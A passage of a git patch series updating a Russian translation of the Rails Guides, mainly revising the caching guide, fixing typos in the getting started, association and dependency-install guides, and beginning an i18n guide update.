<% end %> -<%= link_to 'Edit Article', edit_article_path(@article) %> | -<%= link_to 'Back to Articles', articles_path %> +<%= link_to 'Edit', edit_article_path(@article) %> | +<%= link_to 'Back', articles_path %> ``` Теперь это отрендерит партиал `app/views/comments/_comment.html.erb` по разу для каждого комментария в коллекции `@article.comments`. Так как метод `render` перебирает коллекцию `@article.comments`, он назначает каждый комментарий локальной переменной с именем, как у партиала, в нашем случае `comment`, которая нам доступна в партиале для отображения. @@ -1431,8 +1434,8 @@ end

Add a comment:

<%= render 'comments/form' %> -<%= link_to 'Edit Article', edit_article_path(@article) %> | -<%= link_to 'Back to Articles', articles_path %> +<%= link_to 'Edit', edit_article_path(@article) %> | +<%= link_to 'Back', articles_path %> ``` Второй render всего лишь определяет шаблон партиала, который мы хотим рендерить, `comments/form`. Rails достаточно сообразительный, чтобы подставить подчеркивание в эту строку и понять, что Вы хотели рендерить файл `_form.html.erb` в директории `app/views/comments`. @@ -1558,7 +1561,9 @@ class CommentsController < ApplicationController Что дальше? ----------- -После того, как вы создали свое первое приложение на Rails, можете свободно его модифицировать и экспериментировать на свое усмотрение. Но без посторонней помощи, вы, скорее всего, ничего не сможете сделать. Так же, как вы обращались к этому руководству "Rails для начинающих", далее можете так же свободно пользоваться этими ресурсами: +После того, как вы создали свое первое приложение на Rails, можете свободно его модифицировать и экспериментировать на свое усмотрение. + +Помните, что вы не сможете сделать без посторонней помощи все, что угодно. Так же, как вы обращались к этому руководству "Rails для начинающих", далее можете так же свободно пользоваться этими ресурсами: * [Ruby on Rails Guides](http://guides.rubyonrails.org/) * [Ruby on Rails Tutorial](http://railstutorial.org/book) @@ -1569,16 +1574,8 @@ class CommentsController < ApplicationController * [Ruby on Rails по-русски](http://rusrails.ru/) * [Изучение Rails на примерах (Майкл Харт)](http://russian.railstutorial.org) -* [Блог 'Ruby on Rails c нуля!'](http://rubydev.ru/) * [Railsclub - организация конференций](http://railsclub.ru) -Rails также поставляется со встроенной помощью, которую вы можете вызвать, используя коммандную утилиту rake: - -* Запуск `rake doc:guides` выложит полную копию Rails Guides в папку `/doc/guides` вашего приложения. Откройте `/doc/guides/index.html` в веб-браузере, для обзора руководства. -* Запуск `rake doc:rails` выложит полную копию документацию по API для Rails в папку `/doc/api` вашего приложения. Откройте `/doc/api/index.html` в веб-браузере, для обзора документации по API. - -TIP: Чтобы генерировать Rails Guides локально с помощью рейк таска `doc:guides`, вам нужно установить RedCloth и Nokogiri гемы. Добавьте их в ваш `Gemfile` и запустите команду `bundle install`, и можно продолжать. - Ошибки конфигурации -------------------- diff --git a/source/index.yml b/source/index.yml index 1a286a71..c5c170e3 100644 --- a/source/index.yml +++ b/source/index.yml @@ -7,12 +7,16 @@ special: path: menu file: menu.md +images: + revision: 14354f195540954a1dfc5c954d06389c9f71e986 + date: 11/07/2015 + pages: - title: Rails для начинающих path: getting-started-with-rails file: getting_started.md - revision: f28d1ddd507174ac233b773cc4f35c3c05ad32e7 - date: 21/11/2014 + revision: 14354f195540954a1dfc5c954d06389c9f71e986 + date: 11/07/2015 - title: Основы Active Record path: active-record-basics @@ -266,10 +270,6 @@ pages: revision: be1e0241f012f1151d2448b10e14b8b2eda26b84 date: 18/12/2014 -images: - revision: 7aa500d2edcc2a2990e7a72799661d4a1227d441 - date: 25/02/2014 - plan: - file: active_record_postgresql.md - file: api_app.md From 75f0c86a8f70cf8db106813128a04165778b1ee1 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Mon, 27 Jul 2015 23:44:03 +0400 Subject: [PATCH 062/932] Fix punctuation --- source/development_dependencies_install.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/source/development_dependencies_install.md b/source/development_dependencies_install.md index 46777a54..80070e9c 100644 --- a/source/development_dependencies_install.md +++ b/source/development_dependencies_install.md @@ -43,7 +43,7 @@ $ cd rails ### Настройте и запустите тесты -Тестовый набор должен проходить для любого отправляемого кода. Вне зависимости, пишите ли вы новый код, или проверяете чей-то, вам нужно иметь возможность запускать тесты. +Тестовый набор должен проходить для любого отправляемого кода. Вне зависимости, пишете ли вы новый код, или проверяете чей-то, вам нужно иметь возможность запускать тесты. Сначала установите SQLite3 и его файлы для разработки для гема `sqlite3`. Пользователи Mac OS X это могут сделать так: @@ -212,7 +212,7 @@ $ sudo pacman -S postgresql postgresql-libs ``` Или установить их с помощью портов (они расположены в папке `databases`). Если у вас затруднения при установке MySQL, обратитесь к -[доументации MySQL](http://dev.mysql.com/doc/refman/5.1/en/freebsd-installation.html). +[документации MySQL](http://dev.mysql.com/doc/refman/5.1/en/freebsd-installation.html). После этого запустите: @@ -281,4 +281,4 @@ NOTE: Использование задачи rake для создания те NOTE: Вы увидите следующее предупреждение (или локализованное предупреждение) при активации расширения HStore в PostgreSQL 9.1.x или ранее: "WARNING: => is deprecated as an operator". -Если вы используете другую базу данных, ищите в файле `activerecord/test/config.yml` или `activerecord/test/config.example.yml` информацию по соединению по умолчанию. Можно отредактировать `activerecord/test/config.yml`, чтобы представить другие учетные данные для вашей машины, если небоходимо, но, очевидно, вы не должны отправлять такие изменения обратно в Rails. +Если вы используете другую базу данных, ищите в файле `activerecord/test/config.yml` или `activerecord/test/config.example.yml` информацию по соединению по умолчанию. Можно отредактировать `activerecord/test/config.yml`, чтобы представить другие учетные данные для вашей машины, если необходимо, но, очевидно, вы не должны отправлять такие изменения обратно в Rails. From 3fe23119028c762bdedb8dd4e612695e2be4cc9b Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sat, 1 Aug 2015 09:30:45 +0300 Subject: [PATCH 063/932] update caching guide --- source/caching_with_rails.md | 160 ++++++++++++++++++----------------- source/index.yml | 4 +- 2 files changed, 85 insertions(+), 79 deletions(-) diff --git a/source/caching_with_rails.md b/source/caching_with_rails.md index 78da0e6e..d06b7f5c 100644 --- a/source/caching_with_rails.md +++ b/source/caching_with_rails.md @@ -1,12 +1,12 @@ Кэширование с Rails: Обзор ========================== -Это руководство научит вас, что нужно знать для избежания чрезмерного обращения к базе данных и возвращении того, что нужно возвратить веб клиентам за максимально короткое время. +Это руководство является введением в ускорение вашего приложения Rails с помощью кэширования. После прочтения этого руководства, вы узнаете: -* О кэширование страниц и экшнов (вынесены в отдельный гем, начиная с Rails 4). -* Кэширование фрагмента +* О кэширование страниц и экшнов. +* О кэширование фрагмента и матрешкой. * Об альтернативных хранилищах кэша. * Об условной поддержке GET. @@ -15,7 +15,7 @@ Это введение в три типа техники кэширования: кэширование страницы, экшна и фрагмента. По умолчанию Rails предоставляет кэширование фрагмента. Чтобы использовать кэширование страницы и экшна, нужно добавить `actionpack-page_caching` и `actionpack-action_caching` в свой Gemfile. -Перед тем, как начать, убедитесь, что `config.action_controller.perform_caching` установлен `true`, если запущен режим development. Этот флаг обычно устанавливается в соответствующем config/environments/*.rb. По умолчанию кэширование отключено для development и test и включено для production. +По умолчанию кэширование включено только в среде production. Чтобы начать работать с кэшированием локально, нужно включить кэширование в локальной среде, установив `config.action_controller.perform_caching` в `true` в соответствующем файле `config/environments/*.rb`: ```ruby config.action_controller.perform_caching = true @@ -23,118 +23,109 @@ config.action_controller.perform_caching = true ### Кэширование страницы -Кэширование страницы это механизм Rails, позволяющий запросу на сгенерированную страницу быть полностью обслуженным вебсервером (т.е. Apache или nginx) в принципе, без прохождения через стек Rails. Очевидно, это очень быстро. К сожалению, это не может быть применено к каждой ситуации (например, к страницам, требующим аутентификации), и, так как вебсервер фактически извлекает файл из файловой системы, придется иметь дело с вопросом времени хранения кэша. +Кэширование страницы это механизм Rails, позволяющий запросу на сгенерированную страницу быть полностью обслуженным вебсервером (т.е. Apache или NGINX) в принципе, без прохождения через стек Rails. Хотя это и очень быстро. но не может быть применено к каждой ситуации (например, к страницам, требующим аутентификации). А так же, раз вебсервер получает файл напрямую из файловой системы, необходимо реализовать прекращение кэша. -INFO: Кэширование страниц было убрано из Rails 4. Обратитесь к [гему actionpack-page_caching](https://github.com/rails/actionpack-page_caching). Так же взгляните на статью [DHH по прекращению кэша, основанного на ключе](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works), как более предпочтительного способа. +INFO: Кэширование страниц было убрано из Rails 4. Обратитесь к [гему actionpack-page_caching](https://github.com/rails/actionpack-page_caching). ### Кэширование экшна Кэширование страниц нельзя использовать для экшнов, имеющих предварительные фильтры, - например, для страниц, требующих аутентификации. И тут на помощь приходит кэширование экшна. Кэширование экшна работает как кэширование страницы, за исключением того, что входящий веб запрос затрагивает стек Rails, таким образом, до обслуживания кэша могут быть запущены предварительные (before) фильтры. Это позволит использовать аутентификацию и другие ограничения, и в то же время выводит результат из кэшированной копии. -INFO: Кэширование экшна было убрано из Rails 4. Обратитесь к [гему actionpack-action_caching](https://github.com/rails/actionpack-action_caching). Так же взгляните на статью [DHH по прекращению кэша, основанного на ключе](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works), как более предпочтительного способа. +INFO: Кэширование экшна было убрано из Rails 4. Обратитесь к [гему actionpack-action_caching](https://github.com/rails/actionpack-action_caching). Так же взгляните на статью [DHH по прекращению кэша, основанного на ключе](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works), как более предпочтительного способа. ### Кэширование фрагмента -Жить было бы прекрасно, если бы мы могли закэшировать весь контент страницы или экшна и обслуживать с ним всех. К сожалению, динамические веб приложения обычно создают страницы с рядом компонентов, не все из которых имеют сходные характеристики кэширования. Для устранения таких динамически создаваемых страниц, где различные части страниц нуждаются в кэшировании и прекращаются по-разному, Rails предоставляет механизм, названный Кэширование фрагмента. +Динамические веб приложения обычно создают страницы с рядом компонентов, не все из которых имеют сходные характеристики кэширования. Когда различные части страниц нуждаются в кэшировании и прекращаются по-разному, Rails предоставляет механизм, названный Кэширование фрагмента. Кэширование фрагмента позволяет фрагменту логики вьюхи быть обернутым в блок кэша и обслуженным из хранилища кэша для последующего запроса. -Как пример, если хотите показать все заказы, размещенные на веб сайте, в реальном времени и не хотите кэшировать эту часть страницы, но хотите кэшировать часть страницы, отображающей все доступные продукты, можете использовать следующий кусок кода: +Например, если хотите кэшировать каждый продукт на странице, можно использовать этот код: ```ruby -<% Order.find_recent.each do |o| %> - <%= o.buyer.name %> bought <%= o.product.name %> -<% end %> - -<% cache do %> - All available products: - <% Product.all.each do |p| %> - <%= link_to p.name, product_url(http://github.com/p) %> +<% @products.each do |product| %> + <% cache product do %> + <%= render product %> <% end %> <% end %> ``` -Блок cache в нашем примере будет привязан к вызвавшему его экшну и записан в тоже место, как кэш экшна, что означает, что если хотите кэшировать несколько фрагментов на экшн, следует предоставить `action_suffix` в вызове cache: +Когда приложение получит самый первый запрос на эту страницу, Rails запишет новую кэширующию запись с уникальным ключом. Ключ может выглядеть так: -```ruby -<% cache(action: 'recent', action_suffix: 'all_products') do %> - All available products: +``` +views/products/1-201505056193031061005000/bea67108094918eeba42cd4a6e786901 ``` -Можете прекратить кэш, используя метод `expire_fragment`, подобно следующему: +Число в середине — это `product_id`, с последующим значением временной метки в атрибуте `updated_at` записи продукта. Rails использует значение временной метки, чтобы убедиться, что он не отдает устаревшие данные. Если значение `updated_at` изменится, будет сгенерирован новый ключ. Затем Rails запишет новый кэш с этим ключом, а старый кэш, записанный со старым ключом, больше никогда не будет использован. Это называется прекращением, основанным на ключе. -```ruby -expire_fragment(controller: 'products', action: 'recent', action_suffix: 'all_products') -``` +Фрагменты кэша также могут быть прекращены, если изменяетс фрагмент вьюхи (например, если изменяется HTML во вьюхе). Эта строка сиволов в конце ключа является дайджестом дерева шаблона. Это хеш md5, вычесленный на основе содержимого фрагмента вьюхи, которую вы кэшируете. Если вы измените фрагмент вьюхи, хеш md5 изменится, прекращая существующий кэш. -Если не хотите, чтобы блок cache привязывался к вызвавшему его экшну, можете также использовать глобально настроенные фрагменты, вызвав метод `cache` с ключом, следующим образом: +TIP: Хранилища кэша, такие как Memcached, автоматичеки удалят старые файлы с кэшем. -```ruby -<% cache('all_available_products') do %> - All available products: +Если хотите кэшировать фрагмент по определенным условиям, можно использовать `cache_if` or `cache_unless`: + +```erb +<% cache_if admin?, product do %> + <%= render product %> <% end %> ``` -Этот фрагмент затем будет доступен во всех экшнах в `ProductsController` c использованием ключа, и может быть прекращен тем же образом: +### Кэширование матрешкой -```ruby -expire_fragment('all_available_products') -``` +Можно вкладывать кэшированные фрагменты в другие кэшированные фрагменты. Это называется кэшированием матрешкой. -Если хотите избежать ручного прекращения фрагмента всякий раз, когда экшн обновляет продукт, можно определить метод хелпера: +Преимуществом кэширования матрешкой является то, что если обновляется отдельный продукт, другие внутренние фрагменты могут быть повторно использованы при перегенерации внешнего фрагмента. -```ruby -module ProductsHelper - def cache_key_for_products - count = Product.count - max_updated_at = Product.maximum(:updated_at).try(:utc).try(:to_s, :number) - "products/all-#{count}-#{max_updated_at}" - end -end -``` +Как объяснялось в предыдущем разделе, кэш будет прекращен, если изменится значение `updated_at` для записи, от которой напрямую зависит этот кэш. Однако, это не прекратит любой кэш, в который вложен этот фрагмент. -Этот метод создает ключ кэша, зависящий от всех продуктов, и может быть использован во вьюхе: +Например, возьмем следующую вьюху: ```erb -<% cache(cache_key_for_products) do %> - All available products: +<% cache product do %> + <%= render product.games %> <% end %> ``` -Если хотите кэшировать фрагмент при определенном условии, можно использовать `cache_if` или `cache_unless` +Которая, в свою очередь, рендерит эту вьюху: ```erb -<% cache_if (condition, cache_key_for_products) do %> - All available products: +<% cache game %> + <%= render game %> <% end %> ``` -В качестве ключа кэша можно использовать модель Active Record: +Если изменится любой атрибут game, у значения `updated_at` будет установлено текущее время, тем самым прекращая. Однако, так как `updated_at` не изменится для объекта product, этот кэш не будет прекращен и ваше приложение отдаст устревшие данные. Чтобы это починить, мы свяжем модели вместе с помощью метода `touch`: -```erb -<% Product.all.each do |p| %> - <% cache(p) do %> - <%= link_to p.name, product_url(http://github.com/p) %> - <% end %> -<% end %> +```ruby +class Product < ActiveRecord::Base + has_many :games +end + +class Game < ActiveRecord::Base + belongs_to :product, touch: true +end ``` -Для модели будет вызван метод `cache_key`, возвращающий строку наподобие `products/23-20130109142513`. Ключ кэша включает имя модели, id и, наконец, временную метку updated_at. Таким образом, он автоматически создаст новый фрагмент, когда продукт обновится, так как ключ изменится. +С помощью `touch`, установленного в true, любое действие, изменяющее `updated_at` для записи game, будет также изменять его для связанного product, тем самым прекращая кэш. -Можно также объединить две схемы, что называется "Russian Doll Caching": +### Низкоуровневое кэширование -```erb -<% cache(cache_key_for_products) do %> - All available products: - <% Product.all.each do |p| %> - <% cache(p) do %> - <%= link_to p.name, product_url(http://github.com/p) %> - <% end %> - <% end %> -<% end %> +Иногда хочется закэшировать определенное значение или результат запроса вместо кэширования фрагментов вьюх. Механизм кэширования Rails отлично работает для хранения информации __любого__ рода. + +Наиболее эффективным способом реализации низкоуровневого кэширования является использование метода `Rails.cache.fetch`. Этот метод и читает, и пишет в кэш. Если передать только один аргумент, этот ключ извлекается и возвращается значение из кэша. Если передан блок, результат этого блока будет закэширован, и возвращен его результат. + +Рассмотрим следующий пример. В приложении есть модель `Product` с методом экземпляра, ищущим цену продукта на конкурирующем сайте. Данные, возвращаемые этим методом отлично подходят для низкоуровневого кэширования: + +```ruby +class Product < ActiveRecord::Base + def competing_price + Rails.cache.fetch("#{cache_key}/competing_price", expires_in: 12.hours) do + Competitor::API.find_price(id) + end + end +end ``` -Это называется "Russian Doll Caching", так как оно вкладывает несколько фрагментов. Преимущество этого в том, что если обновится единственный продукт, все другие внутренние фрагменты будут использованы повторно при создании внешнего фрагмента. +NOTE: Отметьте, что в этом пример мы использовали метод `cache_key`, таким образом результирующий ключ кэша будет выглядеть наподобие `products/233-20140225082222765838000/competing_price`. `cache_key` генерирует строку на основе атрибутов `id` и `updated_at` модели. Это обычное соглашение, имеющее преимущество невалидности кэша, когда изменяется продукт. В основном при использовании низкоуровневого кэширования для информации на уровне экземпляра модели, необходимо генерировать ключ кэша. ### Кэширование SQL @@ -158,10 +149,14 @@ class ProductsController < ApplicationController end ``` +Когда тот же запрос будет сделан, фактически он не дойдет до базы данных. В первый раз возвращенный результат запроса сохраняется в кэше запроса (в памяти), а во второй раз он извлекается из памяти. + +Однако, важно отметить, что кэши запросов создаются в начале экшна и уничтожаются в конце того же экшна, тем самым сохраняются только на протяжении этого экшна. Если вам хочется сохранять результаты запроса на более постоянной основе, можно использовать низкоуровневое кэширование. + Хранилища кэша -------------- -Rails предоставляет различные хранилища для кэшированных данных, созданных кэшами экшна или фрагмента. +Rails предоставляет различные хранилища для кэшированных данных, созданных кэшами **экшна** или **фрагмента.** TIP: Кэши страницы всегда сохраняются на диск. @@ -189,7 +184,7 @@ NOTE: Альтернативно можно вызвать `ActionController::Ba * `:compress` - Эта опция может быть использована для указания, что в кэше должно быть использовано сжатие. Это особенно полезно для передачи огромных записей кэша по медленной сети. -* `:compress_threshold` - Эта опция используется в сочетании с опцией :compress для указания порога, до которого записи кэша не будут сжиматься. По умолчанию 16 килобайт. +* `:compress_threshold` - Эта опция используется в сочетании с опцией `:compress` для указания порога, до которого записи кэша не будут сжиматься. По умолчанию 16 килобайт. * `:expires_in` - Эта опция устанавливает время прекращения в секундах для записи кэша, когда она будет автоматически убрана из кэша. @@ -197,13 +192,13 @@ NOTE: Альтернативно можно вызвать `ActionController::Ba ### ActiveSupport::Cache::MemoryStore -Это хранилище кэша хранит записи в памяти в том же процессе Ruby. У хранилища кэша ограниченный размер, определенный опциями `:size` в инициализаторе (по умолчанию 32Mb). Когда кэш превышает выделенный размер, происходит очистка и наиболее давно используемые записи будут убраны. +Это хранилище кэша хранит записи в памяти в том же процессе Ruby. У хранилища кэша ограниченный размер, определенный опцией `:size`, указанной в инициализаторе (по умолчанию 32Mb). Когда кэш превышает выделенный размер, происходит очистка и наиболее давно используемые записи будут убраны. ```ruby config.cache_store = :memory_store, { size: 64.megabytes } ``` -Если запущено несколько среверных процессов Ruby on Rails (что бывает в случае использования mongrel_cluster или Phusion Passenger), то экземпляры ваших серверов Rails не смогут разделять данные кэша друг с другом. Это хранилище кэша не подходит для больших приложений, но замечательно работает с небольшими, низко-траффиковыми сайтами с несколькими серверными процессами, или для сред development и test. +Если запущено несколько среверных процессов Ruby on Rails (что бывает в случае использования mongrel_cluster или Phusion Passenger), то экземпляры ваших серверов Rails не смогут разделять данные кэша друг с другом. Это хранилище кэша не подходит для больших приложений. Однако, оно замечательно работает с небольшими, низко-траффиковыми сайтами с несколькими серверными процессами, или для сред development и test. ### ActiveSupport::Cache::FileStore @@ -213,9 +208,9 @@ config.cache_store = :memory_store, { size: 64.megabytes } config.cache_store = :file_store, "/path/to/cache/directory" ``` -С этим хранилищем кэша несколько серверных процессов на одном хосте могут делиться кэшем. Серверные процессы, запущенные на разных хостах, могут делиться кэшем при использовании общей файловой системы, но эта настройка не идеальна и не рекомендована. Хранилище кэша подходит для сайтов со трафиком до среднего, обслуживающихся на одном - двух хостах. +С этим хранилищем кэша несколько серверных процессов на одном хосте могут делиться кэшем. Хранилище кэша подходит для сайтов со трафиком до среднего, обслуживающихся на одном - двух хостах. Серверные процессы, запущенные на разных хостах, могут делиться кэшем при использовании общей файловой системы, но эта настройка не рекомендована. -Отметьте, что хэш будет рости, пока не заполнится диск, если периодически не чистить старые записи. +Так как хэш будет расти, пока не заполнится диск, рекомендуется периодически чистить старые записи. Это реализация хранилища кэша по умолчанию. @@ -223,7 +218,7 @@ config.cache_store = :file_store, "/path/to/cache/directory" Это хранилище кэша использует сервер Danga's `memcached` для предоставления централизованного кэша вашему приложению. Rails по умолчанию использует встроенный гем `dalli`. Сейчас это наиболее популярное хранилище кэша для работающих вебсайтов. Оно представляет отдельный общий кластер кэша с очень высокими производительностью и резервированием. -При инициализации кэша необходимо указать адреса для всех серверов memcached в вашем кластере. Если ни один не определен, предполагается, что memcached запущен на локальном хосте на порте по умолчанию, но это не идеальная настройка для больших сайтов. +При инициализации кэша необходимо указать адреса для всех серверов memcached в вашем кластере. Если ни один не определен, предполагается, что memcached запущен на localhost на порте по умолчанию, но это не идеальная настройка для больших сайтов. Методы `write` и `fetch` на кэше принимают две дополнительных опции, дающие преимущества особенностей memcached. Можно определить `:raw` для отправки значения на сервер без сериализации. Значение должно быть строкой или числом. Прямые операции memcached, такие как `increment` и `decrement`, можно использовать только на значениях raw. Также можно определить `:unless_exist`, если не хотите, чтобы memcached перезаписал существующую запись. @@ -329,12 +324,17 @@ end class ProductsController < ApplicationController def show @product = Product.find(params[:id]) - respond_with(@product) if stale?(@product) + + if stale?(@product) + respond_to do |wants| + # ... обычное создание отклика + end + end end end ``` -Если отсутствует специальная обработка отклика и используется дефолтный механизм рендеринга (т.е. вы не используете respond_to или вызываете сам render), то можете использовать простой хелпер fresh_when: +Если отсутствует специальная обработка отклика и используется дефолтный механизм рендеринга (т.е. вы не используете `respond_to` или вызываете сам `render`), то можете использовать простой хелпер `fresh_when`: ```ruby class ProductsController < ApplicationController @@ -348,3 +348,9 @@ class ProductsController < ApplicationController end end ``` + +Ссылки +------ + +* [Статья DHH по прекращению, основанному на ключе](https://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) +* [Ryan Bates' Railscast по дайджестам кэша](http://railscasts.com/episodes/387-cache-digests) diff --git a/source/index.yml b/source/index.yml index c5c170e3..3beefaa8 100644 --- a/source/index.yml +++ b/source/index.yml @@ -153,8 +153,8 @@ pages: - title: 'Кэширование с Rails: Обзор' path: caching-with-rails-an-overview file: caching_with_rails.md - revision: 99eb1eb4dfcb3a270deb1f83d495749a90a1d08e - date: 19/11/2013 + revision: 068ab23a33b245d8f481bb839549806280effe48 + date: 18/06/2015 - title: Asset Pipeline path: asset-pipeline From 0948726b7663c132b9251915614252105187cad4 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sat, 1 Aug 2015 19:10:57 +0300 Subject: [PATCH 064/932] fix typos --- source/caching_with_rails.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/source/caching_with_rails.md b/source/caching_with_rails.md index d06b7f5c..e8840e34 100644 --- a/source/caching_with_rails.md +++ b/source/caching_with_rails.md @@ -59,7 +59,7 @@ views/products/1-201505056193031061005000/bea67108094918eeba42cd4a6e786901 Фрагменты кэша также могут быть прекращены, если изменяетс фрагмент вьюхи (например, если изменяется HTML во вьюхе). Эта строка сиволов в конце ключа является дайджестом дерева шаблона. Это хеш md5, вычесленный на основе содержимого фрагмента вьюхи, которую вы кэшируете. Если вы измените фрагмент вьюхи, хеш md5 изменится, прекращая существующий кэш. -TIP: Хранилища кэша, такие как Memcached, автоматичеки удалят старые файлы с кэшем. +TIP: Хранилища кэша, такие как Memcached, автоматически удалят старые файлы с кэшем. Если хотите кэшировать фрагмент по определенным условиям, можно использовать `cache_if` or `cache_unless`: @@ -208,7 +208,7 @@ config.cache_store = :memory_store, { size: 64.megabytes } config.cache_store = :file_store, "/path/to/cache/directory" ``` -С этим хранилищем кэша несколько серверных процессов на одном хосте могут делиться кэшем. Хранилище кэша подходит для сайтов со трафиком до среднего, обслуживающихся на одном - двух хостах. Серверные процессы, запущенные на разных хостах, могут делиться кэшем при использовании общей файловой системы, но эта настройка не рекомендована. +С этим хранилищем кэша несколько серверных процессов на одном хосте могут делиться кэшем. Хранилище кэша подходит для сайтов с трафиком до среднего, обслуживающихся на одном - двух хостах. Серверные процессы, запущенные на разных хостах, могут делиться кэшем при использовании общей файловой системы, но эта настройка не рекомендована. Так как хэш будет расти, пока не заполнится диск, рекомендуется периодически чистить старые записи. From 0b624a2a5d463d354a34781d0bfdeed67cb6fed3 Mon Sep 17 00:00:00 2001 From: lightcrafter92 Date: Mon, 3 Aug 2015 02:38:09 +0500 Subject: [PATCH 065/932] Update association_basics.md --- source/association_basics.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/association_basics.md b/source/association_basics.md index 90b7e208..52e92844 100644 --- a/source/association_basics.md +++ b/source/association_basics.md @@ -1766,7 +1766,7 @@ person.articles << article unless person.articles.include?(post) Подробная информация по связи has_and_belongs_to_many ----------------------------------------------------- -Связь `has_and_belongs_to_many` создает отношение один-ко-многим с другой моделью. В терминах базы данных это связывает два класса через промежуточную соединительную таблицу, которая включает внешние ключи, относящиеся к каждому классу. +Связь `has_and_belongs_to_many` создает отношение многие-ко-многим с другой моделью. В терминах базы данных это связывает два класса через промежуточную соединительную таблицу, которая включает внешние ключи, относящиеся к каждому классу. ### Добавляемые методы From 0eb289bb34a9d5cab46f2cbaf3a15bae3d3cc51b Mon Sep 17 00:00:00 2001 From: "V.Kolesnikov" Date: Mon, 3 Aug 2015 15:17:02 +0300 Subject: [PATCH 066/932] Update getting_started.md --- source/getting_started.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/getting_started.md b/source/getting_started.md index 0a2a5830..b24013b9 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -242,7 +242,7 @@ Rails.application.routes.draw do end ``` -Если запустить `bin/rake routes`, можно увидеть, что он объявил все маршруты для стандартных действий RESTful. Значение столбца префикса (и остальных столбцов) мы рассотрим позже, а пока обратите внимание, что Rails знает о форме единственного числа слова `article` и разумно использует это различие. +Если запустить `bin/rake routes`, можно увидеть, что он объявил все маршруты для стандартных действий RESTful. Значение столбца префикса (и остальных столбцов) мы рассмотрим позже, а пока обратите внимание, что Rails знает о форме единственного числа слова `article` и разумно использует это различие. ```bash $ bin/rake routes From 998f4f90e6ff321972ec8912cadf95e841dee0b8 Mon Sep 17 00:00:00 2001 From: "V.Kolesnikov" Date: Tue, 4 Aug 2015 15:03:30 +0300 Subject: [PATCH 067/932] Update getting_started.md --- source/getting_started.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/getting_started.md b/source/getting_started.md index b24013b9..4654b5f6 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -283,7 +283,7 @@ class ArticlesController < ApplicationController end ``` -Контроллер - это просто класс, унаследованный от `ApplicationController`. В этом классе вы определить методы, которые станут экшнами для этого контроллера. Эти экшны будут выполнять операции CRUD со статьями в вашей системе. +Контроллер - это просто класс, унаследованный от `ApplicationController`. В этом классе вы должны определить методы, которые станут экшнами для этого контроллера. Эти экшны будут выполнять операции CRUD со статьями в вашей системе. NOTE: В `Ruby` методы бывают `public`, `private` и `protected`, но экшнами контроллеров могут быть только `public` методы. Подробнее смотрите в [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/). From a15ae1cde413752da5ab141bcea838f4089ead88 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Tue, 4 Aug 2015 00:03:10 +0400 Subject: [PATCH 068/932] Update i18n --- source/i18n.md | 238 ++++++++++++++++++++++++++++++----------------- source/index.yml | 4 +- 2 files changed, 154 insertions(+), 88 deletions(-) diff --git a/source/i18n.md b/source/i18n.md index 59fbad54..2960624a 100644 --- a/source/i18n.md +++ b/source/i18n.md @@ -22,21 +22,21 @@ API интернационализации Rails (I18n) После прочтения этого руководства вы узнаете: * Как I18n работает в Ruby on Rails -* Как правильно использовать I18n в приложении RESTful различными способами +* Как правильно использовать I18n в RESTful приложении различными способами * Как использовать I18n для перевода ошибок ActiveRecord или тем писем ActionMailer * О некоторых инструментах для расширения процесса перевода вашего приложения -NOTE: Фреймворк Ruby I18n предоставляет вам все необходимое для интернационализации/локализации вашего приложения на Rails. Однако, можете использовать другие различные доступные плагины и расширения, добавляющие дополнительные функциональность или особенности. Больше информации содержится в Ruby [I18n Wiki](http://ruby-i18n.org/wiki). +NOTE: Фреймворк Ruby I18n предоставляет вам все необходимое для интернационализации/локализации вашего приложения на Rails. Вы можете также использовать другие различные доступные плагины и расширения, добавляющие дополнительные функциональность или особенности. Больше информации содержится в Ruby [I18n Wiki](http://ruby-i18n.org/wiki). Как работает I18n в Ruby on Rails --------------------------------- -Интернационализация - это сложная проблема. Естественные языки отличаются во многих отношениях (например, в правилах образования множественного числа), поэтому трудно предоставить инструменты, решающие сразу все проблемы. По этой причине Rails I18n API сфокусировано на: +Интернационализация - это сложная проблема. Естественные языки отличаются во многих отношениях (например, в правилах образования множественного числа), поэтому трудно представить инструменты, решающие сразу все проблемы. По этой причине Rails I18n API сфокусировано на: -* предоставления полной поддержки для английского и подобных ему языков +* предоставлении полной поддержки для английского и подобных ему языков * легкой настраиваемости и полном расширении для других языков -Как часть этого решения, **каждая статичная строка в фреймворке Rails** - например, валидационные сообщения Active Record, форматы времени и даты - **стали интернационализированными**, поэтому _локализация_ приложения на Rails означает "переопределение" этих значений по умолчанию. +Как часть этого решения, **каждая статичная строка в фреймворке Rails** - например, валидационные сообщения Active Record, форматы времени и даты - **стали интернационализированными**. _Локализация_ приложения на Rails означает определение переведенных значений этих строк на желаемые языки. ### Общая архитектура библиотеки @@ -47,7 +47,7 @@ NOTE: Фреймворк Ruby I18n предоставляет вам все не Как у пользователя, у вас всегда будет доступ только к публичным методам модуля I18n, но полезно знать о возможностях бэкенда. -NOTE: Возможно (или даже желательно) поменять встроенный простой бэкенд на более мощный, который будет хранить данные перевода в реляционной базе данных, словаре GetText и тому подобном. Смотрите раздел [Использование различных бэкендов](#customize-your-i18n-setup). +NOTE: Возможно (или даже желательно) поменять встроенный простой бэкенд на более мощный, который будет хранить данные перевода в реляционной базе данных, словаре GetText или похожем. Смотрите раздел [Использование различных бэкендов](#customize-your-i18n-setup). ### Публичный I18n API @@ -80,13 +80,13 @@ backend # Использовать иной бэкенд (customize-your-i18n-setup) Настройка приложения на Rails для интернационализации ----------------------------------------------------- -Лишь несколько шагов отделяют вас от получения и запуска поддержки I18n в вашем приложении. +Несколько шагов отделяют вас от получения и запуска поддержки I18n в вашем приложении. ### Конфигурирование модуля I18n -Следуя философии примата 